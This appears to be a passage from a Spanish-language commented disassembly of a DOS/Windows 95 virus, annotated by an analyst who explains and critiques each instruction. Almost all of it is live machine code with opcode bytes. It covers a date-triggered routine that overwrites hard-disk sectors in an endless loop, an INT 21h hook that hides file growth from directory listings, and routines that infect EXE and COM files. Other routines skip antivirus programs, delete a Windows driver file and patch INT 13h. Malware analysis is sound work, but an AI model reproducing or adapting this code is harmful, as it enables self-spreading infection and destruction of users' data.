Ω; decimal. Esta es una función en Ω; la que en los registros hay que Ω; poner los datos en decimal, o Ω; sea, el primer número en el pri- Ω; mer nibble, y el segundo en el Ω; otro nibble. Por ejemplo, el día Ω; 15 no sería el día 0Fh en esta Ω; función, sino el 15h). ∩0DA6:025D 7401 JZ 0260 Ω; Si es el día 22, continúa ∩0DA6:025F C3 RET Ω; Retorna ∩0DA6:0260 B80300 MOV AX,0003 Ω; Pone modo texto (de paso, borra ∩0DA6:0263 CD10 INT 10 Ω; la pantalla) ∩0DA6:0265 BE2D1E MOV SI,1E2D Ω; En SI la dirección del mensaje Ω; del virus ∩0DA6:0268 B700 MOV BH,00 Ω; En BH el número de pantalla don- Ω; de se quiere escribir el carac- Ω; ter ∩0DA6:026A B93D00 MOV CX,003D Ω; Escribe 61 caracteres ∩0DA6:026D AC LODSB Ω; Carga un caracter ∩0DA6:026E B40E MOV AH,0E Ω; Lo saca a pantalla con la fun- ∩0DA6:0270 CD10 INT 10 Ω; ción 0Eh de la int 10h ∩0DA6:0272 E2F9 LOOP 026D Ω; Lo hace 61 veces ∩0DA6:0274 B280 MOV DL,80 Ω; En DL el código del disco duro ∩0DA6:0276 8AFA MOV BH,DL Ω; BH = 80h ∩0DA6:0278 80F201 XOR DL,01 Ω; DL = 81h cuando era 80h, y vice- Ω; versa ∩0DA6:027B B408 MOV AH,08 Ω; Obtiene el formato del disco du- ∩0DA6:027D CD13 INT 13 Ω; ro en DL ∩0DA6:027F 80E13F AND CL,3F Ω; Anula los 6 bits superiores de Ω; CL ∩0DA6:0282 8AC1 MOV AL,CL Ω; Lo pone en AL ∩0DA6:0284 B403 MOV AH,03 Ω; Pone en AH el valor 3 (escritu- Ω; ra) ∩0DA6:0286 50 PUSH AX Ω; Guarda AX ∩0DA6:0287 8AD7 MOV DL,BH Ω; DL = unidad anterior ∩0DA6:0289 B408 MOV AH,08 Ω; Obtiene el formato de esta tam- ∩0DA6:028B CD13 INT 13 Ω; bién ∩0DA6:028D 80E13F AND CL,3F Ω; Le anula a CL los 6 bits supe- Ω; riores ∩0DA6:0290 8AC1 MOV AL,CL Ω; Los mete en AL ∩0DA6:0292 B403 MOV AH,03 Ω; AH = 03 (función de escritura) ∩0DA6:0294 8AD7 MOV DL,BH Ω; DL = unidad anterior ∩0DA6:0296 B90101 MOV CX,0101 Ω; Escribe en el sector 1 del ci- Ω; lindro 1 ∩0DA6:0299 50 PUSH AX Ω; Guarda AX ∩0DA6:029A 8BEC MOV BP,SP Ω; BP = SP, que si no me equivoco Ω; será igual a 7C00h ∩0DA6:029C 52 PUSH DX Ω; Guarda DX ∩0DA6:029D F6C201 TEST DL,01 Ω; Comprueba si DL es 80h o 81h ∩0DA6:02A0 7505 JNZ 02A7 Ω; Si es 81h, salta ∩0DA6:02A2 8B4600 MOV AX,[BP+00] Ω; Coge en AX el primer valor que Ω; guardó en el stack ∩0DA6:02A5 EB03 JMP 02AA Ω; Salta ∩0DA6:02A7 8B4602 MOV AX,[BP+02] Ω; Coge en AX el segundo valor que Ω; guardó ∩0DA6:02AA CD13 INT 13 Ω; Salta ∩0DA6:02AC 80F201 XOR DL,01 Ω; Si DL era 81h, ahora es 80h y Ω; viceversa ∩0DA6:02AF FECE DEC DH Ω; Decrementa DH (que es el número Ω; de cabezal) ∩0DA6:02B1 75EA JNZ 029D Ω; Si no es 0, salta y vuelve a es- Ω; cribir ∩0DA6:02B3 5A POP DX Ω; Saca DX ∩0DA6:02B4 FEC5 INC CH Ω; Incrementa el número de cilindro ∩0DA6:02B6 75E4 JNZ 029C Ω; Si no es 0, salta a :029C ∩0DA6:02B8 80C140 ADD CL,40 Ω; Suma 40h a CL ∩0DA6:02BB 73DF JNB 029C Ω; Si no se pasa, salta a :029C ∩0DA6:02BD 80C202 ADD DL,02 Ω; Suma 2 al número de unidad ∩0DA6:02C0 83C404 ADD SP,+04 Ω; Suma 4 al SP para no sobreescri- Ω; bir los datos anteriores guarda- Ω; dos ∩0DA6:02C3 EBB1 JMP 0276 Ω; Salta a :0276 y hace un LOOP in- Ω; finito que acaba por destruir el Ω; disco duro ε;;;;; Emulación de la instrucción INT 21h ∩0DA6:02C5 9C PUSHF ∩0DA6:02C6 2E CS: ∩0DA6:02C7 FF1E6001 CALL FAR [0160] ∩0DA6:02CB C3 RET ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;;;; ;;;;; ε;;;;;; NUEVA INTERRUPCION 21h ;;;;; ε;;;;;; ;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Su entrada inicial es en la dirección :0388, pero el programa de la inte- ε;;; rrupción empieza aquí Ω; Aquí si es la función de ob- Ω; tención del espacio libre del Ω; disco (AH = 36h) ∩0DA6:02CC 53 PUSH BX Ω; Guarda BX y AX ∩0DA6:02CD 50 PUSH AX ∩0DA6:02CE B462 MOV AH,62 Ω; Obtiene en BX la dirección ∩0DA6:02D0 E8F2FF CALL 02C5 Ω; de segmento del PSP del pro- Ω; grama actualmente en ejecu- Ω; ción ∩0DA6:02D3 58 POP AX Ω; Saca AX ∩0DA6:02D4 2E CS: Ω; Comprueba si es el PSP que ∩0DA6:02D5 391E8D01 CMP [018D],BX Ω; tenía guardado ya ahí en Ω; [018D] ∩0DA6:02D9 7514 JNZ 02EF Ω; Si no es, salta ∩0DA6:02DB 2E CS: Ω; Comprueba si se intenta acce- ∩0DA6:02DC 38169101 CMP [0191],DL Ω; der al mismo dispositivo ∩0DA6:02E0 750D JNZ 02EF Ω; Si no es el mismo, salta y Ω; continúa ∩0DA6:02E2 5B POP BX Ω; Saca BX y las banderas ∩0DA6:02E3 9D POPF ∩0DA6:02E4 E8DEFF CALL 02C5 Ω; Resuelve la interrupción ∩0DA6:02E7 2E CS: ∩0DA6:02E8 8B1E8F01 MOV BX,[018F] Ω; Pone en el número de clusters Ω; libres el número que tiene Ω; guardado en [018F] ∩0DA6:02EC CA0200 RETF 0002 Ω; Retorno de interrupción Ω; Aquí si los valores con los Ω; que se llama a la función son Ω; nuevos ∩0DA6:02EF 2E CS: Ω; Guarda en [018D] el PSP del ∩0DA6:02F0 891E8D01 MOV [018D],BX Ω; programa que se está ejecu- Ω; tando ∩0DA6:02F4 2E CS: Ω; Guarda el dispositivo en ∩0DA6:02F5 88169101 MOV [0191],DL Ω; [0191] ∩0DA6:02F9 5B POP BX Ω; Saca BX y las banderas ∩0DA6:02FA 9D POPF ∩0DA6:02FB E8C7FF CALL 02C5 Ω; Int 21h ∩0DA6:02FE 2E CS: Ω; Pone el número de clusters ∩0DA6:02FF 891E8F01 MOV [018F],BX Ω; del disco libres en [018F] ∩0DA6:0303 CA0200 RETF 0002 Ω; Retorno de interrupción Ω; Aquí desde :037E ∩0DA6:0306 2E CS: Ω; Llama a la int 21h sin trazar, utili- ∩0DA6:0307 FF1E6401 CALL FAR [0164] Ω; zando el PUSHF que hizo al princi- Ω; pio de la interrupción ∩0DA6:030B 9C PUSHF Ω; Guarda banderas ∩0DA6:030C 50 PUSH AX Ω; Guarda AX, BX y ES ∩0DA6:030D 53 PUSH BX ∩0DA6:030E 06 PUSH ES ∩0DA6:030F 2E CS: Ω; Mira si se está ejecutando el CHKDSK ∩0DA6:0310 F6068C0102 TEST BYTE PTR [018C],02 ∩0DA6:0315 755B JNZ 0372 Ω; Si está, salta y acaba ∩0DA6:0317 0AC0 OR AL,AL Ω; Si AL no es 0, acaba (en una función Ω; 11h o 12h, si al llamar a la función Ω; AL devuelve FFh, hay error ∩0DA6:0319 7557 JNZ 0372 Ω; Por tanto, si no es 0, acaba ∩0DA6:031B B42F MOV AH,2F Ω; Obtiene en ES:BX la dirección del DTA ∩0DA6:031D E8A5FF CALL 02C5 ∩0DA6:0320 2E CS: Ω; Comprueba si el valor en [0380] es ∩0DA6:0321 803E800340 CMP BYTE PTR [0380],40 Ω; mayor que 40h ∩0DA6:0326 7726 JA 034E Ω; Si es mayor, salta a :034E ∩0DA6:0328 26 ES: Ω; En esta dirección se encuentra el ta- ∩0DA6:0329 834F2600 OR WORD PTR [BX+26],+00 Ω; maño del archivo que se Ω; ha obtenido al llamar a Ω; la función ∩0DA6:032D 7508 JNZ 0337 Ω; Si no está a 0, salta y continúa ∩0DA6:032F 26 ES: Ω; Comprueba si el word en +24h tiene ∩0DA6:0330 817F249C1E CMP WORD PTR [BX+24],1E9C Ω; un tamaño mínimo de Ω; archivo de 7835 bytes ∩0DA6:0335 723B JB 0372 Ω; Si es menor, salta y acaba Ω; Aquí desde :032D ∩0DA6:0337 26 ES: Ω; Coge en AX la hora del archivo ∩0DA6:0338 8B471E MOV AX,[BX+1E] ∩0DA6:033B 241F AND AL,1F Ω; Deja en AL los segundos ∩0DA6:033D 3C11 CMP AL,11 Ω; Mira si son 34 ∩0DA6:033F 7531 JNZ 0372 Ω; Si no son, acaba ∩0DA6:0341 26 ES: Ω; Resta 7855 bytes al archivo ∩0DA6:0342 816F24B01E SUB WORD PTR [BX+24],1EB0 ∩0DA6:0347 26 ES: Ω; Resta 1 al word en +26h si hay rebo- ∩0DA6:0348 835F2600 SBB WORD PTR [BX+26],+00 Ω; samiento ∩0DA6:034C EB24 JMP 0372 Ω; Salta y acaba Ω; Aquí si es una función 4Eh o 4Fh ∩0DA6:034E 26 ES: Ω; Comprueba si el tamaño del archivo ∩0DA6:034F 834F1C00 OR WORD PTR [BX+1C],+00 Ω; es mayor de 65536 bytes ∩0DA6:0353 7508 JNZ 035D Ω; Si es mayor, salta y continúa ∩0DA6:0355 26 ES: Ω; Comprueba si el tamaño es al menos ∩0DA6:0356 817F1A9C1E CMP WORD PTR [BX+1A],1E9C Ω; 7835 bytes ∩0DA6:035B 7215 JB 0372 Ω; Si es menor, salta y acaba ∩0DA6:035D 26 ES: Ω; Coge los segundos en AL ∩0DA6:035E 8B4716 MOV AX,[BX+16] ∩0DA6:0361 241F AND AL,1F ∩0DA6:0363 3C11 CMP AL,11 Ω; Comprueba si son 34 ∩0DA6:0365 750B JNZ 0372 Ω; Si no son, salta y acaba ∩0DA6:0367 26 ES: Ω; Le resta 7855 bytes al archivo ∩0DA6:0368 816F1AB01E SUB WORD PTR [BX+1A],1EB0 ∩0DA6:036D 26 ES: Ω; Le resta 1 al Hi-Word de tamaño si ∩0DA6:036E 835F1C00 SBB WORD PTR [BX+1C],+00 Ω; hay rebosamiento ∩0DA6:0372 07 POP ES Ω; Saca lo guardado en el stack ∩0DA6:0373 5B POP BX ∩0DA6:0374 58 POP AX ∩0DA6:0375 9D POPF Ω; Saca las banderas ∩0DA6:0376 CA0200 RETF 0002 Ω; Retorna Ω; Aquí desde :03B0, :03B5, :03BA y Ω; 03BF si es una función 11h, 12h, 4Eh, Ω; y 4Fh ∩0DA6:0379 2E CS: Ω; Pone en [0380] la función que se ∩0DA6:037A 88268003 MOV [0380],AH Ω; trata ∩0DA6:037E EB86 JMP 0306 Ω; Salta a 0306 ∩0DA6:0380 4F DB 4F Ω; Aquí pondrá el número de función que Ω; se ejecuta desde :037A si es una fun- Ω; ción 11h, 12h, 4Eh o 4Fh Ω; Aquí si es Install-check ∩0DA6:0381 B80D00 MOV AX,000D Ω; Pone en AX el valor 000Dh ∩0DA6:0384 9D POPF Ω; Saca las banderas ∩0DA6:0385 CA0200 RETF 0002 Ω; Retorna simulando un IRET (POPF+ Ω; +RETF) ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;; Entrada inicial de la interrupción 21h ; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:0388 9C PUSHF Ω; Guarda banderas ∩0DA6:0389 3D23FE CMP AX,FE23 Ω; Comprueba si AX es FE23h (install Ω; check del virus) ∩0DA6:038C 74F3 JZ 0381 Ω; Si es, salta ∩0DA6:038E 80FC36 CMP AH,36 Ω; ¿Es la función de obtener tamaño Ω; libre del disco indicado? ∩0DA6:0391 7503 JNZ 0396 Ω; Si lo es, salta a :02CC ∩0DA6:0393 E936FF JMP 02CC ∩0DA6:0396 80FC4C CMP AH,4C Ω; ¿Es la función de terminar ejecu- Ω; ción en el programa? ∩0DA6:0399 7440 JZ 03DB Ω; Si lo es, salta a :03DB ∩0DA6:039B 80FC31 CMP AH,31 Ω; ¿Es la función de terminar el pro- Ω; grama en ejecución pero dejándolo Ω; residente en memoria? ∩0DA6:039E 743B JZ 03DB Ω; Si lo es, salta a :03DB ∩0DA6:03A0 80FC00 CMP AH,00 Ω; ¿Es la función de terminar progra- Ω; ma antigua? ∩0DA6:03A3 7436 JZ 03DB Ω; Si lo es, salta a :03DB ∩0DA6:03A5 3D004B CMP AX,4B00 Ω; ¿Se trata de ejecutar un progra- Ω; ma? ∩0DA6:03A8 7503 JNZ 03AD Ω; Si NO lo es, salta a :03AD y con- Ω; tinúa ∩0DA6:03AA E87900 CALL 0426 Ω; Llama a la rutina de infección de Ω; un ejecutable. Ω; En este punto retorna. Podría sal- Ω; tar directamente al final y no Ω; ejecutar todas las comprobaciones Ω; que vienen, ya que un JMP aquí Ω; sólo serían 2 bytes. En unos si- Ω; tios tanto, y en otros tan poco... ∩0DA6:03AD 80FC11 CMP AH,11 Ω; Mira si AH es la función 11h (la Ω; función que utiliza el comando Ω; DIR) ∩0DA6:03B0 74C7 JZ 0379 Ω; Si es, salta a :0379 ∩0DA6:03B2 80FC12 CMP AH,12 Ω; Comprueba si es la función 12h Ω; (la siguiente que utiliza DIR) ∩0DA6:03B5 74C2 JZ 0379 Ω; Si es, salta a :0379 ∩0DA6:03B7 80FC4E CMP AH,4E Ω; Mira si es la función 4Eh (Busca Ω; Primera Entrada de Directorio, la Ω; mejora de la función 11h. Esta es Ω; por handles, y no por FCBs como la Ω; anterior ∩0DA6:03BA 74BD JZ 0379 Ω; Si es, salta a :0379 ∩0DA6:03BC 80FC4F CMP AH,4F Ω; Mira si es la función 4Fh (Busca Ω; Siguiente Entrada de Directorio) ∩0DA6:03BF 74B8 JZ 0379 Ω; Si es, salta a :0379 ∩0DA6:03C1 80FC3D CMP AH,3D Ω; Mira si es la función Abrir Handle ∩0DA6:03C4 7503 JNZ 03C9 Ω; Si no es, salta y continúa ∩0DA6:03C6 E83C0C CALL 1005 Ω; Rutina para abrir el handle y de- Ω; sinfectar un EXE si éste es abier- Ω; to. No hace esto con los COMs. ∩0DA6:03C9 80FC3E CMP AH,3E Ω; Mira si se trata de cerrar un han- Ω; dle ∩0DA6:03CC 7507 JNZ 03D5 Ω; Si no es, salta y acaba con la in- Ω; terrupción ∩0DA6:03CE 9D POPF Ω; Recupera las banderas ∩0DA6:03CF E8700E CALL 1242 Ω; Rutina para infectar el handle Ω; abierto si éste es un archivo eje- Ω; cutable EXE o COM ∩0DA6:03D2 CA0200 RETF 0002 Ω; Retorna con flags por medio Ω; Aquí para acabar la interrupción ∩0DA6:03D5 9D POPF Ω; Saca las banderas que guardó al Ω; principio ∩0DA6:03D6 2E CS: Ω; Salta a la interrupción original ∩0DA6:03D7 FF2E6401 JMP FAR [0164] ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; INFECCION AL FINALIZAR UN PROGRAMA ;;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Ω; Aquí si es una función de finalizar Ω; programa ∩0DA6:03DB 2E CS: Ω; Anula todos los bits en [018C] me- ∩0DA6:03DC 80268C0104 AND BYTE PTR [018C],04 Ω; nos el que indica si se Ω; está en WINDOWS 95 ∩0DA6:03E1 50 PUSH AX Ω; Guarda todos los registros que va ∩0DA6:03E2 53 PUSH BX Ω; a usar ∩0DA6:03E3 51 PUSH CX ∩0DA6:03E4 52 PUSH DX ∩0DA6:03E5 57 PUSH DI ∩0DA6:03E6 06 PUSH ES ∩0DA6:03E7 1E PUSH DS ∩0DA6:03E8 B462 MOV AH,62 Ω; Obtiene en BX el segmento del PSP ∩0DA6:03EA E8D8FE CALL 02C5 Ω; del programa que se está ejecutando Ω; en estos momentos ∩0DA6:03ED 722A JB 0419 Ω; Si hay error, salta y acaba ∩0DA6:03EF FC CLD Ω; Hacia delante ∩0DA6:03F0 8EC3 MOV ES,BX Ω; En ES el segmento del PSP ∩0DA6:03F2 26 ES: Ω; Coge la dirección de segmento donde ∩0DA6:03F3 8E062C00 MOV ES,[002C] Ω; se guarda el Environment-Block (el Ω; lugar donde se meten las variables Ω; SET del sistema) ∩0DA6:03F7 33FF XOR DI,DI Ω; DI = 0 ∩0DA6:03F9 B000 MOV AL,00 Ω; AL = 0, que es lo que delimita una Ω; variable de otra ∩0DA6:03FB B9FFFF MOV CX,FFFF Ω; CX = FFFFh, un número de repeticio- Ω; nes que no alcanzará (en circuns- Ω; tancias normales) ∩0DA6:03FE F2 REPNZ Ω; Busca el valor 0 a lo largo de la ∩0DA6:03FF AE SCASB Ω; cadena ∩0DA6:0400 26 ES: Ω; Comprueba si después del valor 0 ∩0DA6:0401 3805 CMP [DI],AL Ω; que ha encontrado hay otro 0, lo Ω; que indicaría que ha alcanzado el Ω; final del Environment-Block ∩0DA6:0403 75F6 JNZ 03FB Ω; Si no es, vuelve a buscar Ω; Cuando ha llegado aquí, tiene en Ω; DI el final del Environment-Block ∩0DA6:0405 83C703 ADD DI,+03 Ω; Suma 3 a DI ∩0DA6:0408 8BD7 MOV DX,DI Ω; Lo mete en DX ∩0DA6:040A 06 PUSH ES Ω; DS = ES ∩0DA6:040B 1F POP DS ∩0DA6:040C B8003D MOV AX,3D00 Ω; Abre el archivo cuya cadena se en- ∩0DA6:040F E8B3FE CALL 02C5 Ω; cuentra allí, que resulta ser el Ω; archivo que se está ejecutando aho- Ω; ra. ∩0DA6:0412 7205 JB 0419 Ω; Si hay error, salta y acaba ∩0DA6:0414 8BD8 MOV BX,AX Ω; Pone el handle en AX ∩0DA6:0416 E8290E CALL 1242 Ω; Infecta el handle con la rutina que Ω; tiene para tal efecto. O sea, que Ω; infecta el archivo que se ha fina- Ω; lizado con las funciones de finali- Ω; zar programa de la int 21h ∩0DA6:0419 1F POP DS Ω; Saca los registros afectados del ∩0DA6:041A 07 POP ES Ω; stack ∩0DA6:041B 5F POP DI ∩0DA6:041C 5A POP DX ∩0DA6:041D 59 POP CX ∩0DA6:041E 5B POP BX ∩0DA6:041F 58 POP AX ∩0DA6:0420 9D POPF ∩0DA6:0421 2E CS: Ω; Salta al programa original de la ∩0DA6:0422 FF2E6001 JMP FAR [0160] Ω; interrupción ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;;;;;;;;;; Infección por ejecución del programa ;;;;;;;;;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:0426 50 PUSH AX Ω; Guarda todos los registros menos el ∩0DA6:0427 53 PUSH BX Ω; BP en el stack ∩0DA6:0428 51 PUSH CX ∩0DA6:0429 52 PUSH DX ∩0DA6:042A 06 PUSH ES ∩0DA6:042B 1E PUSH DS ∩0DA6:042C 57 PUSH DI ∩0DA6:042D 56 PUSH SI ∩0DA6:042E E89500 CALL 04C6 Ω; Rutina para borrar el archivo Ω; X:\WINXXX\SYSTEM\IOSUBSYS\HSFLOP.PDR Ω; y machacar con los bytes originales Ω; el JMP FAR que puso al inicio de la Ω; por algún programa en el inicio de Ω; int 13h para parchearla. ∩0DA6:0431 E8960D CALL 11CA Ω; Rutina para redireccionar la int Ω; 24h y la int 1Bh a MOV AL,03/IRET Ω; e IRET, respectivamente ∩0DA6:0434 E85402 CALL 068B Ω; Rutina para guardar los atributos Ω; actuales del archivo en lugar segu- Ω; ro y ponérselos a 0 para poder in- Ω; fectarlo aunque sea de modo Sólo Ω; Lectura ∩0DA6:0437 E8C402 CALL 06FE Ω; Rutina para comprobar si el archivo Ω; es un archivo especial, o sea, si Ω; es un anti-virus, tiene la letra Ω; 'V' en su nombre o si es CHKDSK ∩0DA6:043A 9C PUSHF Ω; Guarda banderas en el stack ∩0DA6:043B 1E PUSH DS Ω; Guarda DS ∩0DA6:043C 0E PUSH CS Ω; DS = CS ∩0DA6:043D 1F POP DS ∩0DA6:043E BF3B07 MOV DI,073B Ω; En DI otra dirección para copiar el ∩0DA6:0441 BE4807 MOV SI,0748 Ω; nombre que hay en :0748 ∩0DA6:0444 83C304 ADD BX,+04 Ω; Suma a BX 4. ∩0DA6:0447 8BCB MOV CX,BX Ω; CX = BX (si no ha ocurrido nada ex- Ω; traño, BX será igual ahora a la lon- Ω; gitud del nombre del archivo dentro Ω; de la cadena) ∩0DA6:0449 F3 REPZ Ω; Copia ese nombre ∩0DA6:044A A4 MOVSB ∩0DA6:044B 1F POP DS Ω; Saca DS y las banderas ∩0DA6:044C 9D POPF ∩0DA6:044D 7263 JB 04B2 Ω; ¿Es un archivo especial? Si lo es, Ω; salta. Por cierto, podría haber Ω; saltado a :04B7 y haberse ahorrado Ω; el ejecutar la función 3Eh de la Ω; interrupción 21h. Dará error y no Ω; pasará nada, pero pierde velocidad. Ω; Además, podría coincidir BX con el Ω; número de un handle que ya estaba Ω; abierto, cerrarlo cuando no toca y Ω; hacer un desastre ∩0DA6:044F B8023D MOV AX,3D02 Ω; Abre el archivo si no es uno espe- ∩0DA6:0452 E870FE CALL 02C5 Ω; cial y está todo correcto ∩0DA6:0455 93 XCHG BX,AX Ω; En BX el handle. Ω; ¿Y el control de errores, para Ω; quién? ¿Qué pasaría si aquí diera Ω; ahora error? No lo contempla. ∩0DA6:0456 E81002 CALL 0669 Ω; Obtiene la fecha y hora del archivo Ω; y las guarda en dos variables ∩0DA6:0459 2E CS: Ω; Obtiene en AX la hora en formato ∩0DA6:045A A17E01 MOV AX,[017E] Ω; empaquetado ∩0DA6:045D 241F AND AL,1F Ω; Deja en AL los segundos ∩0DA6:045F 50 PUSH AX Ω; Guarda AX ∩0DA6:0460 B43F MOV AH,3F Ω; En AH la función de lectura ∩0DA6:0462 B91C00 MOV CX,001C Ω; 28 bytes: comunmente, el número de Ω; bytes que se leen de la cabecera de Ω; un EXE ∩0DA6:0465 0E PUSH CS Ω; DS = CS ∩0DA6:0466 1F POP DS ∩0DA6:0467 1E PUSH DS Ω; ES = CS ∩0DA6:0468 07 POP ES ∩0DA6:0469 BA6A1E MOV DX,1E6A Ω; DX = 1E6A, que parece ser es el Ω; buffer del virus ∩0DA6:046C E856FE CALL 02C5 Ω; Lee 28 bytes del inicio del archivo ∩0DA6:046F 8BF2 MOV SI,DX Ω; SI = DX = 1E6Ah ∩0DA6:0471 FC CLD Ω; Carga en AL los dos primeros bytes ∩0DA6:0472 AD LODSW ∩0DA6:0473 3D4D5A CMP AX,5A4D Ω; Comprueba si es la cadena 'MZ' (ini- Ω; cio de un EXE) ∩0DA6:0476 7405 JZ 047D Ω; Si es, salta ∩0DA6:0478 3D5A4D CMP AX,4D5A Ω; Comprueba si es 'ZM' (un EXE puede Ω; empezar de las dos maneras) ∩0DA6:047B 751E JNZ 049B Ω; Si no es, salta a infectar como COM ∩0DA6:047D 58 POP AX Ω; Saca AX (que tenía en AL los segun- Ω; dos del archivo) ∩0DA6:047E F6068C0104 TEST BYTE PTR [018C],04 Ω; Mira si el bit 2 de [018C] Ω; está a 1, lo que significa que esta- Ω; mos en WINDOWS 95 ∩0DA6:0483 740B JZ 0490 Ω; Si no estamos, salta ∩0DA6:0485 3C11 CMP AL,11 Ω; Comprueba si los segundos están a 34 ∩0DA6:0487 7426 JZ 04AF Ω; Si están, salta ∩0DA6:0489 E85F00 CALL 04EB Ω; Macro-función para infectar el EXE ∩0DA6:048C 7317 JNB 04A5 Ω; Si no hay error, salta y continúa ∩0DA6:048E EB22 JMP 04B2 Ω; Salta Ω; Aquí desde :0483 si no estamos en Ω; WINDOWS 95 ∩0DA6:0490 3C11 CMP AL,11 Ω; Mira si los segundos están a 34 ∩0DA6:0492 751B JNZ 04AF Ω; Si no están, salta ∩0DA6:0494 E8E40B CALL 107B Ω; Desinfecta el EXE ∩0DA6:0497 7316 JNB 04AF Ω; Si no hay error, salta y continúa ∩0DA6:0499 EB17 JMP 04B2 Ω; Si hay error, salta a :04B2 Ω; Aquí desde :047B si el archivo es un Ω; COM ∩0DA6:049B 58 POP AX Ω; Saca AX ∩0DA6:049C 3C11 CMP AL,11 Ω; Comprueba si los segundos están a 34 ∩0DA6:049E 7412 JZ 04B2 Ω; Si están, salta y acaba ∩0DA6:04A0 E84E01 CALL 05F1 Ω; Infecta el COM, y devuelve CF si ha Ω; habido algún error al ir a infectar ∩0DA6:04A3 720A JB 04AF Ω; Si hay error, salta y acaba Ω; Aquí desde :048C si no ha habido error Ω; al infectar el EXE ∩0DA6:04A5 A17E01 MOV AX,[017E] Ω; Coge en AX la hora del archivo ∩0DA6:04A8 24E0 AND AL,E0 Ω; Anula los 5 bits inferiores (los que Ω; indican los segundos) ∩0DA6:04AA 0C11 OR AL,11 Ω; Pone los segundos a 34 ∩0DA6:04AC A37E01 MOV [017E],AX Ω; Pone esta modificación en la hora Ω; del archivo ∩0DA6:04AF E8C801 CALL 067A Ω; Restaura la fecha original ∩0DA6:04B2 B43E MOV AH,3E Ω; Cierra el handle del archivo ∩0DA6:04B4 E80EFE CALL 02C5 ∩0DA6:04B7 E8E501 CALL 069F Ω; Restaura los atributos anteriores ∩0DA6:04BA E84C0D CALL 1209 Ω; Restaura los punteros a las interrup- Ω; ciones 24h y 1Bh que fueron parchea- Ω; das antes ∩0DA6:04BD 5E POP SI Ω; Saca todos los registros del stack ∩0DA6:04BE 5F POP DI ∩0DA6:04BF 1F POP DS ∩0DA6:04C0 07 POP ES ∩0DA6:04C1 5A POP DX ∩0DA6:04C2 59 POP CX ∩0DA6:04C3 5B POP BX ∩0DA6:04C4 58 POP AX ∩0DA6:04C5 C3 RET Ω; Retorna ε;;; Rutina para parchear la interrupción 13h y borrar el archivo de WINDOWS 95 ε;;; X:\WINXXX\SYSTEM\IOSUBSYS\HSFLOP.PDR, todo ello si el WINDOWS 95 está acti- ε;;; vo y por tanto es el sistema operativo del sistema ∩0DA6:04C6 E8AF02 CALL 0778 Ω; Llama a la rutina que tiene pa- Ω; ra borrar, si está en WINDOWS Ω; 95, el archivo situado en la ruta Ω; X:\WINXXX\SYSTEM\IOSUBSYS llama- Ω; do HSFLOP.PDR ∩0DA6:04C9 B80A16 MOV AX,160A Ω; Mira si WINDOWS está activo ∩0DA6:04CC CD2F INT 2F ∩0DA6:04CE 0BC0 OR AX,AX Ω; Si no está, salta y retorna ∩0DA6:04D0 7518 JNZ 04EA ∩0DA6:04D2 80FF04 CMP BH,04 Ω; Mira si es WINDOWS 95 ∩0DA6:04D5 7213 JB 04EA Ω; Si no lo es, retorna ∩0DA6:04D7 B84554 MOV AX,5445 Ω; Mira si la int 13h está redirec- ∩0DA6:04DA CD13 INT 13 Ω; cionada por el virus ∩0DA6:04DC 3D5445 CMP AX,4554 Ω; ¿Le devuelve el valor esperado? ∩0DA6:04DF 7509 JNZ 04EA Ω; Si no está parcheada la int 13h, Ω; sale ∩0DA6:04E1 E89402 CALL 0778 Ω; Llama de nuevo a la rutina para Ω; borrar el dichoso archivo ∩0DA6:04E4 7201 JB 04E7 Ω; Si hay Carry Flag, quiere decir Ω; que ha encontrado el archivo pe- Ω; ro ha ocurrido un error inespe- Ω; rado al ir a borrarlo, y entonces Ω; salta y ejecuta la siguiente ru- Ω; tina ∩0DA6:04E6 C3 RET Ω; Retorna si lo ha habido éxito ∩0DA6:04E7 E8FE15 CALL 1AE8 Ω; Rutina para sobreescribir con Ω; la instrucción con la que empie- Ω; za siempre la int 13h la instruc- Ω; ción de JMP FAR que había inserta- Ω; do el virus, para que cualquier Ω; llamada a la int 13h fuera redi- Ω; reccionada a la rutina en :1B37 ∩0DA6:04EA C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;;; RUTINA DE INFECCION DE EXEs ;;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:04EB 833E821E40 CMP WORD PTR [1E82],+40 Ω; Comprueba si el word en Ω; el byte nº 18h de la cabecera EXE Ω; leída (la dirección de la tabla Ω; de realojamiento) es 0040h ∩0DA6:04F0 7504 JNZ 04F6 Ω; Si no es, salta ∩0DA6:04F2 F9 STC Ω; Carry Flag a 1 ∩0DA6:04F3 E9FA00 JMP 05F0 Ω; Salta y acaba ∩0DA6:04F6 BF6B01 MOV DI,016B Ω; En DI la zona donde guardará in- Ω; formación de la cabecera que usa- Ω; rá a la hora de ejecutar el host ∩0DA6:04F9 BE7E1E MOV SI,1E7E Ω; SI = byte nº14h de la cabecera, Ω; que contiene el IP inicial del Ω; EXE ∩0DA6:04FC A5 MOVSW Ω; Copia el IP y el CS ∩0DA6:04FD A5 MOVSW ∩0DA6:04FE BE781E MOV SI,1E78 Ω; Ahora coge el SS y SP iniciales ∩0DA6:0501 BF7101 MOV DI,0171 Ω; Copia primero el SS en [0171], y ∩0DA6:0504 A5 MOVSW Ω; después el SP en [016F]. Son ga- ∩0DA6:0505 83EF04 SUB DI,+04 